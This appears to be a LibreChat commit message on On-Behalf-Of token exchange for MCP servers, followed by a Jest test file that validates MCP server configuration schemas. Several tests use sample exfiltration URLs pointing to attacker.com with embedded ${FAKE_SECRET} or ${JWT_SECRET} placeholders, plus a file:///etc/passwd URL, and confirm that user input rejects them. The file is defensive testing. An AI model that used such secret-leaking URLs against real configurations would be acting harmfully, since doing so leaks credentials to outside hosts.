Files
jcbartleandGitHub 6629b68307 🔒 feat: Add On-Behalf-Of (OBO) token exchange support for MCP Servers (#13429)
* Add OBO (On-Behalf-Of) token exchange support for MCP server connections

Enables transparent authentication to Entra ID-backed MCP servers using the logged-in user's federated token via the OAuth 2.0 jwt-bearer grant. Configured via obo.scopes in librechat.yaml server config.

- Extract generic OboTokenService from GraphTokenService (jwt-bearer grant + cache)
- Refactor GraphTokenService to thin wrapper delegating to OboTokenService
- Add obo schema field to BaseOptionsSchema in data-provider
- Add resolveOboToken in packages/api/src/mcp/oauth/obo.ts (validates federated token, calls resolver, returns MCPOAuthTokens)
- Wire oboTokenResolver through MCPConnectionFactory, MCPManager, UserConnectionManager
- OBO tokens injected via request headers (not OAuth transport), refreshed on each tool call
- Explicit error on OBO failure (no fallthrough to standard OAuth redirect)
- Add unit tests for both resolveOboToken (9 tests) and exchangeOboToken (14 tests)

* Add OBO authentication option to MCP server UI configuration

  Enable users to configure On-Behalf-Of (OBO) token exchange for MCP servers created via the UI (MongoDB-stored), in addition to the existing YAML-based configuration.

  - Add "On-Behalf-Of (OBO)" radio option to MCP server auth section with scopes input field
  - Remove obo from omitServerManagedFields so the field passes UI schema validation
  - Add OBO to AuthTypeEnum, obo_scopes to AuthConfig, and OBO handling in form defaults and submission
  - Add .min(1) validation on obo.scopes to reject empty strings
  - Add English localization keys: com_ui_obo, com_ui_obo_scopes, com_ui_obo_scopes_description
  - Add 5 schema validation tests for OBO field acceptance, transport compatibility, and edge cases

* 🧊 fix: Add obo to safe properties in redactServerSecrets. Fixes the OBO configuration not showing up in the MCP UI after app restart

* Address linter errors

* 🧊 fix: fail closed on OBO refresh errors and retry transient token exchange failures

- stop tool calls from falling back to stale Authorization headers when per-call OBO refresh fails
- add one-time retry for transient Entra OBO exchange failures (network/429/5xx)
- preserve structured OBO failure reasons and retryability in resolveOboToken
- improve OBO auth error messaging for connection setup and tool execution
- add tests for transient vs permanent OBO failure paths

* Addressing linting errors / warnings

* 🧊 fix: isolate OBO MCP auth to user-scoped connections

- block OBO-enabled servers from app-level shared MCP connections
- bypass shared connection lookup for OBO servers in MCPManager.getConnection
- add regressions covering OBO connection scoping and preserve non-OBO app connection reuse

* 🛠️ refactor: centralize MCP user-scoped connection policy

- add shared requiresUserScopedConnection helper for OAuth, OBO, and customUserVars
- use the shared predicate in MCPManager and ConnectionsRepository
- add utils coverage for user-scoped connection policy

* 🧊 fix: restrict MCP OBO config to header-capable transports

- Move OBO configuration out of the shared MCP base options schema and allow it
only on SSE and streamable-http transports, where request headers are applied.
- Explicitly reject OBO on stdio and websocket configs to avoid accepted-but-
nonfunctional server definitions. Add schema coverage for admin/config parsing
and user-input websocket validation.

* 🧊 fix: single-flight concurrent OBO token exchanges

Concurrent tool calls that arrive on a cache miss were each issuing
their own jwt-bearer request to the IdP. Under that fan-out, Entra
intermittently returned errors that the retry classifier saw as
non-retryable, surfacing as:

  "The identity provider rejected the OBO token exchange.
   Cannot execute tool <name>. Re-authenticate the user or
   verify the configured OBO scopes and retry."

A user retry then hit the populated cache and succeeded, which matches
the observed flakiness — the cache was empty at the moment of fan-out
but populated by the time the user clicked retry.

- Coalesce concurrent exchanges in `OboTokenService.exchangeOboToken`
keyed by `${openidId}:${scopes}`. Callers that arrive while an exchange
is in flight share the same upstream request and receive the same
result. `fromCache=false` continues to force a fresh, independent
exchange (and is not joined by `fromCache=true` callers). The IdP
call, single-retry path, and cache write are unchanged — they were
moved into a `performOboExchange` helper so the coalescing wrapper
stays small.
- Tests cover: coalescing on the same key, isolation between different
keys, cleanup on success, cleanup on failure, and the
`fromCache=false` bypass.

* 🔒 feat: gate MCP OBO config behind MCP_SERVERS.CONFIGURE_OBO permission

OBO silently mints per-user delegated tokens from the caller's federated
access token and forwards them to whatever URL the server config points at.
Previously, anyone with MCP_SERVERS.CREATE could configure obo.scopes — so
if server creation is ever delegated beyond admins, a user could stand up
an attacker-controlled server, attach it to a shared agent, and exfiltrate
other users' downstream tokens on tool invocation.

Add a dedicated MCP_SERVERS.CONFIGURE_OBO permission (ADMIN: true, USER:
false by default) and enforce it at three layers so the safety property
no longer depends on CREATE staying admin-only:

- Create/update: POST/PATCH /api/mcp/servers returns 403 when the body
  carries `obo` and the caller's role lacks the permission.
- Runtime fail-closed: for DB-sourced configs, MCPConnectionFactory and
  MCPManager.callTool re-check the original author's role before each
  OBO exchange. If the author has been downgraded, the exchange is
  skipped (factory) or refused (callTool) — retained configs lose their
  privileges automatically.
- UI: the OBO option is hidden in the MCP server dialog for users
  without the permission; a CONFIGURE_OBO toggle is exposed in the MCP
  admin role editor.

Existing role docs receive the new sub-key via the permission backfill
in updateInterfacePermissions on next startup, preserving any
operator-set values. YAML/Config-sourced server configs are unaffected
since they're admin-controlled at the deployment level.

* 🧊 fix: wire OBO machinery for servers with requiresOAuth: false

The discovery and user-connection paths gated OAuth wiring (flow
manager, token methods, oboTokenResolver, oboTrustChecker) behind
isOAuthServer(), which only considers requiresOAuth/oauth fields.
A DB-stored OBO server with requiresOAuth: false therefore landed in
the non-OAuth branch, never received an oboTokenResolver, and the
factory's usesObo getter evaluated to false — sending a bare request
that the upstream rejected with invalid_token.

Add requiresOAuthMachinery() (OAuth OR OBO) and use it at those two
gates. isOAuthServer remains for the OAuth-handshake-only check
(shouldInitiateOAuthBeforeConnect), where OBO must not initiate a
handshake. Plumb the OBO resolver/trust-checker through
ToolDiscoveryOptions so reinitMCPServer can pass them on the
discovery path.

* 🧊 fix: lock all OBO-target fields (URL, proxy, headers, auth) without CONFIGURE_OBO

The CONFIGURE_OBO permission was meant to gate control of the endpoint
that receives OBO-minted per-user delegated tokens and the scopes that
are requested. The previous frontend lock + backend gate only covered
obo.scopes and the auth section, leaving url/proxy/headers/etc. editable
by anyone with UPDATE — meaning a non-permission user could still
redirect an existing OBO server's token flow to an attacker endpoint.

Switch to an allowlist policy: when editing an OBO server without
CONFIGURE_OBO, only title/description/iconPath are mutable. Backend
rejects any other field change with 403; frontend disables the
non-allowlist sections (URL, transport, auth, trust) via fieldset.
The comparison surface (MCP_USER_INPUT_FIELDS) is derived from
MCPServerUserInputSchema's union members so it stays in sync with the
schema. New schema fields land in the locked set by default — adding to
the allowlist is the only way to unlock them, which preserves the
security-review boundary.

* 🧊 fix: skip unauthenticated MCP inspection for OBO-only servers

MCPServerInspector.inspectServer() ran an unauthenticated temp connection
unless the config had requiresOAuth or customUserVars set. For OBO-only
servers without standard MCP OAuth advertisement, this caused
MCPConnectionFactory.create to attempt the connection without a user or
oboTokenResolver — failing on servers that reject the MCP initialize
handshake without a valid bearer token, which surfaced as
MCP_INSPECTION_FAILED on create/update.

Add `obo` to the skip list alongside requiresOAuth and customUserVars,
matching the existing pattern for user-scoped auth modes.

* Addressed linting error: watchedTitle is declared but never referenced (the auto-fill logic at line 156 uses getValues('title') instead). Deleted constant.
2026-06-01 22:36:18 -04:00

579 lines
19 KiB
TypeScript

import {
MCPOptionsSchema,
SSEOptionsSchema,
StreamableHTTPOptionsSchema,
MCPServerUserInputSchema,
MCP_USER_INPUT_FIELDS,
} from '../src/mcp';
describe('MCPOptionsSchema', () => {
describe('OBO transport support', () => {
it('should accept obo on SSE transport', () => {
const result = MCPOptionsSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
obo: { scopes: 'api://mcp-server-id/Mcp.Tools.ReadWrite' },
});
expect(result.success).toBe(true);
});
it('should accept obo on streamable-http transport', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
obo: { scopes: 'api://mcp-server-id/Mcp.Tools.ReadWrite' },
});
expect(result.success).toBe(true);
});
it('should reject obo on WebSocket transport', () => {
const result = MCPOptionsSchema.safeParse({
type: 'websocket',
url: 'wss://mcp-server.com/ws',
obo: { scopes: 'api://mcp-server-id/Mcp.Tools.ReadWrite' },
});
expect(result.success).toBe(false);
});
it('should reject obo on stdio transport', () => {
const result = MCPOptionsSchema.safeParse({
type: 'stdio',
command: 'node',
args: ['server.js'],
obo: { scopes: 'api://mcp-server-id/Mcp.Tools.ReadWrite' },
});
expect(result.success).toBe(false);
});
});
});
describe('MCP schemas', () => {
describe('env variable exfiltration prevention', () => {
it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
process.env.FAKE_SECRET = 'leaked-secret-value';
const adminResult = SSEOptionsSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(adminResult.success).toBe(true);
if (adminResult.success) {
expect(adminResult.data.url).toContain('leaked-secret-value');
}
delete process.env.FAKE_SECRET;
});
it('should reject the same URL through user input schema', () => {
process.env.FAKE_SECRET = 'leaked-secret-value';
const userResult = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(userResult.success).toBe(false);
delete process.env.FAKE_SECRET;
});
});
describe('env variable rejection', () => {
it('should reject SSE URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(result.success).toBe(false);
});
it('should reject streamable-http URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'http://attacker.com/?jwt=${JWT_SECRET}',
});
expect(result.success).toBe(false);
});
it('should reject WebSocket URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
});
expect(result.success).toBe(false);
});
});
describe('proxy field restrictions', () => {
it('should accept admin-configured proxies for SSE', () => {
const result = SSEOptionsSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
proxy: 'http://proxy.example.com:8080',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.proxy).toBe('http://proxy.example.com:8080');
}
});
it('should accept admin-configured proxies for streamable-http', () => {
const result = StreamableHTTPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
proxy: 'http://proxy.example.com:8080',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.proxy).toBe('http://proxy.example.com:8080');
}
});
it('should reject unsupported proxy protocols', () => {
const result = StreamableHTTPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
proxy: 'ftp://proxy.example.com',
});
expect(result.success).toBe(false);
});
it('should reject SSE proxy configuration from user input', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
proxy: 'http://proxy.example.com:8080',
});
expect(result.success).toBe(false);
});
it('should reject streamable-http proxy configuration from user input', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
proxy: 'http://proxy.example.com:8080',
});
expect(result.success).toBe(false);
});
});
describe('protocol allowlisting', () => {
it('should reject file:// URLs for SSE', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'file:///etc/passwd',
});
expect(result.success).toBe(false);
});
it('should reject ftp:// URLs for streamable-http', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'ftp://internal-server/data',
});
expect(result.success).toBe(false);
});
it('should reject http:// URLs for WebSocket', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'http://example.com/ws',
});
expect(result.success).toBe(false);
});
it('should reject ws:// URLs for SSE', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'ws://example.com/sse',
});
expect(result.success).toBe(false);
});
});
describe('valid URL acceptance', () => {
it('should accept valid https:// SSE URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('https://mcp-server.com/sse');
}
});
it('should accept valid http:// SSE URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://mcp-server.com/sse',
});
expect(result.success).toBe(true);
});
it('should accept valid wss:// WebSocket URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'wss://mcp-server.com/ws',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('wss://mcp-server.com/ws');
}
});
it('should accept valid ws:// WebSocket URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'ws://mcp-server.com/ws',
});
expect(result.success).toBe(true);
});
it('should accept valid https:// streamable-http URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('https://mcp-server.com/http');
}
});
it('should accept valid http:// streamable-http URLs with "http" alias', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'http',
url: 'http://mcp-server.com/mcp',
});
expect(result.success).toBe(true);
});
});
describe('OBO configuration', () => {
it('should accept obo field with valid scopes', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
obo: { scopes: 'api://mcp-server-id/Mcp.Tools.ReadWrite' },
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.obo).toEqual({
scopes: 'api://mcp-server-id/Mcp.Tools.ReadWrite',
});
}
});
it('should accept obo on streamable-http transport', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
obo: { scopes: 'api://other-app/Custom.Scope' },
});
expect(result.success).toBe(true);
});
it('should reject obo on WebSocket transport', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'wss://mcp-server.com/ws',
obo: { scopes: 'api://mcp-server-id/Mcp.Tools.ReadWrite' },
});
expect(result.success).toBe(false);
});
it('should reject obo with empty scopes', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
obo: { scopes: '' },
});
expect(result.success).toBe(false);
});
it('should reject obo without scopes property', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
obo: {},
});
expect(result.success).toBe(false);
});
it('should accept config without obo (optional)', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.obo).toBeUndefined();
}
});
});
describe('user-managed OAuth audience restrictions', () => {
it('should reject audience from user-managed OAuth configuration', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
audience: 'https://api.example.com',
},
});
expect(result.success).toBe(false);
});
it('should reject refresh audience forwarding from user-managed OAuth configuration', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
forward_audience_on_refresh: false,
},
});
expect(result.success).toBe(false);
});
it('should reject audience query parameters in user-managed OAuth authorization URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
authorization_url: 'https://auth.example.com/authorize?audience=https://api.example.com',
token_url: 'https://auth.example.com/token',
client_id: 'public-client-id',
},
});
expect(result.success).toBe(false);
});
it('should reject resource query parameters in user-managed OAuth token URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
authorization_url: 'https://auth.example.com/authorize',
token_url: 'https://auth.example.com/token?resource=https://api.example.com',
client_id: 'public-client-id',
},
});
expect(result.success).toBe(false);
});
it('should continue accepting non-audience OAuth fields from user-managed configuration', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
authorization_url: 'https://auth.example.com/authorize',
token_url: 'https://auth.example.com/token',
client_id: 'public-client-id',
scope: 'read execute',
},
});
expect(result.success).toBe(true);
if (result.success && result.data.oauth) {
expect(result.data.oauth.authorization_url).toBe('https://auth.example.com/authorize');
expect(result.data.oauth.token_url).toBe('https://auth.example.com/token');
expect(result.data.oauth.client_id).toBe('public-client-id');
expect(result.data.oauth.scope).toBe('read execute');
}
});
});
describe('OAuth confidential client endpoint pinning', () => {
it('should reject client_secret without client_id', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
authorization_url: 'https://auth.example.com/authorize',
token_url: 'https://auth.example.com/token',
client_secret: 'client-secret',
},
});
expect(result.success).toBe(false);
});
it('should reject client_secret with client_id when authorization_url is missing', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
token_url: 'https://auth.example.com/token',
client_id: 'client-id',
client_secret: 'client-secret',
},
});
expect(result.success).toBe(false);
});
it('should reject client_secret with client_id when token_url is missing', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
authorization_url: 'https://auth.example.com/authorize',
client_id: 'client-id',
client_secret: 'client-secret',
},
});
expect(result.success).toBe(false);
});
it('should accept client_id without client_secret for auto-discovery', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
client_id: 'public-client-id',
},
});
expect(result.success).toBe(true);
});
it('should accept client_secret when both OAuth endpoints are pinned', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
authorization_url: 'https://auth.example.com/authorize',
token_url: 'https://auth.example.com/token',
client_id: 'client-id',
client_secret: 'client-secret',
},
});
expect(result.success).toBe(true);
});
it('should accept audience parameter (Auth0/Cognito-style)', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
audience: 'https://api.example.com',
},
});
expect(result.success).toBe(true);
if (result.success && result.data.oauth) {
expect(result.data.oauth.audience).toBe('https://api.example.com');
}
});
it('should accept audience alongside scope and other OAuth fields', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
authorization_url: 'https://auth.example.com/authorize',
token_url: 'https://auth.example.com/token',
scope: 'read execute',
audience: 'https://api.example.com',
},
});
expect(result.success).toBe(true);
});
it('should treat audience as optional (omitting it is fine)', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
scope: 'read',
},
});
expect(result.success).toBe(true);
if (result.success && result.data.oauth) {
expect(result.data.oauth.audience).toBeUndefined();
}
});
it('should reject empty-string audience', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
audience: '',
},
});
expect(result.success).toBe(false);
});
it('should accept forward_audience_on_refresh = false (Cognito opt-out)', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
audience: 'https://api.example.com',
forward_audience_on_refresh: false,
},
});
expect(result.success).toBe(true);
if (result.success && result.data.oauth) {
expect(result.data.oauth.forward_audience_on_refresh).toBe(false);
}
});
it('should treat forward_audience_on_refresh as optional', () => {
const result = MCPOptionsSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
oauth: {
audience: 'https://api.example.com',
},
});
expect(result.success).toBe(true);
if (result.success && result.data.oauth) {
expect(result.data.oauth.forward_audience_on_refresh).toBeUndefined();
}
});
});
});
describe('MCP_USER_INPUT_FIELDS', () => {
it('includes the expected user-input fields and excludes server-managed ones', () => {
// Sanity check on the schema-derived field set. This is the comparison
// surface for the OBO lockdown check in updateMCPServerController; if it
// drifts unexpectedly, the lockdown could miss a new field. Add new
// entries here when you add new user-input fields to the schema.
expect(MCP_USER_INPUT_FIELDS.has('type')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('url')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('title')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('description')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('iconPath')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('oauth')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('apiKey')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('obo')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('proxy')).toBe(true);
expect(MCP_USER_INPUT_FIELDS.has('headers')).toBe(true);
// Server-managed fields should NOT be in this set — they're stripped by
// omitServerManagedFields() before MCPServerUserInputSchema is built.
expect(MCP_USER_INPUT_FIELDS.has('startup')).toBe(false);
expect(MCP_USER_INPUT_FIELDS.has('timeout')).toBe(false);
expect(MCP_USER_INPUT_FIELDS.has('chatMenu')).toBe(false);
expect(MCP_USER_INPUT_FIELDS.has('requiresOAuth')).toBe(false);
expect(MCP_USER_INPUT_FIELDS.has('customUserVars')).toBe(false);
expect(MCP_USER_INPUT_FIELDS.has('oauth_headers')).toBe(false);
// Stdio is intentionally excluded from MCPServerUserInputSchema (security
// posture), so its transport-only fields should not be in the set either.
expect(MCP_USER_INPUT_FIELDS.has('command')).toBe(false);
expect(MCP_USER_INPUT_FIELDS.has('args')).toBe(false);
expect(MCP_USER_INPUT_FIELDS.has('env')).toBe(false);
});
});